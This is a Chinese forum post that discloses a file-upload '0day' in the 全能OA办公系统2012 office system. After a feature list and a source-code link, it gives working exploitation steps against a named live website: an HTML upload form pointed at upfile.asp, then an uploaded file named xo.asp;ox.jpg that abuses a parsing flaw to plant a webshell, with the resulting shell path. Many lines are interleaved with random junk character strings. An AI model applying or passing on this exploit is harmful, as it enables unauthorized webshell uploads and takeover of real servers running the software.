全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
' @# {4 r! S. T# P0 Q) @​
系统介绍：
9 m' F" P3 K% p8 H1 {
  X7 p5 N1 i& K0 I1 s5 v8 f全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

& z' u) k. n5 u% F; E主要功能：
7 E$ O9 ^: c( i4 y1 b% K公司通告
工作计划
* _% `  m' ~1 w通讯助理
% c- d3 l- K# H0 s: l8 J0 L客户资源
我的公文
公文传阅
公共资源
资源预约
今日考勤
6 ?4 Z+ w" f* R7 y2 L$ ?个人计划
" K, a! M. m* c7 f4 @, l0 U  X1 L个人通讯录
& M, W, W0 J- u/ ?6 a$ l* B- N个人基本档案
! ?6 e3 G2 \- m# ^未读邮件
发邮件
7 p. d5 p; i+ O& V% a收件夹
寄件夹
网络硬盘
网络会议
3 Q- d3 j/ L! y+ B( d( z0 e. f网络调查
: ?* ]. W4 X0 X+ K交流论坛

$ ?, Z! {4 D' R有兴趣测试的朋友可以下源码看看
- J- _0 {1 b; M
源码下载：

+ u0 m! ]  T/ {$ h( j( W4 xhttp://www.mycodes.net/30/4750.htm

1 A9 ~* [) Y/ E$ k漏洞介绍：

- X" i2 T5 _3 B1 @8 L6 p由upfile.asp上传文件漏洞引起
9 j- x7 a; N0 C  W5 `
测试方法：

& B1 a6 z1 L7 J. b2 l使用名小子上传http://www.itlynn.com/upfile.asp即可

4 T, T& L; c$ L" D6 w& ^3 U如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
$ x' o- d& |1 V) A! i
如果存在那么将如下代码保存为upfile.html。
6 h/ R/ }8 R, T# }
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

7 P# F3 _9 i/ G/ U
: c8 L# z: s$ [; M" ~# B5 g: t8 e: p
1 l% @9 m3 N3 e+ e( S0 s01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

3 H/ d' ^3 T* E5 a  [" H04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>

06               自动更名
& t1 O$ w2 h; Z/ {& m
. s( M: ^3 U8 e7 i07               <input type='radio' name='errnumber' value='1' checked>
4 |' U5 N# m. W0 |
4 E1 K# @: v& t: e08               报错方式
1 O4 q. ?6 O6 [7 S) R
09               <input type='radio' name='errnumber' value='2'>
9 p8 P9 z( f% u+ w+ v5 z" d
& S" T- v. W1 g* I2 v' N10               直接覆盖</td>
/ N8 u3 ]2 Y( N: j! S+ S  _
7 M( [9 `% J! V  j7 J- u11           </tr>
$ N$ B6 h$ i  ^7 d2 f, W% ~
12           <tr>

6 }) r& N  w; S: J0 N13             <td>主题：</td>
* T, x! L, |- i& K' W7 H
& {/ n  t9 N+ I4 ^% z5 B14             <td><input type='text' name='filename' size='30'></td>

$ i/ c/ H0 u7 k- r2 [15           </tr>

16           <tr>

17             <td>文件：</td>

3 B" q" L, d2 {8 a0 v18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

20           <tr>

2 f8 ]* B% a6 I3 s7 u, g21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

0 |5 F- @- O  _23           </tr>
3 Q  w9 m3 y% ?
: Y( T/ ~2 g, @24   

5 }: z0 s+ s! P2 K1 E25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
2 ?+ B  }8 c! `$ a
26           </tr>

27         </form>
& G: n+ J# A' b
  G3 A* x8 F0 G然后打开上传一个文件名为xo.asp;ox.jpg的文件。

, I7 H# N/ u/ V* j; _2 n- E
4 f5 \; t! f0 V% \/ c3 ~
* ^) J- o! X7 h! u' x$ K上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
# q( A1 c1 m5 u* f
此漏洞需要配合解析漏洞利用。
$ H1 e  `; }5 B) r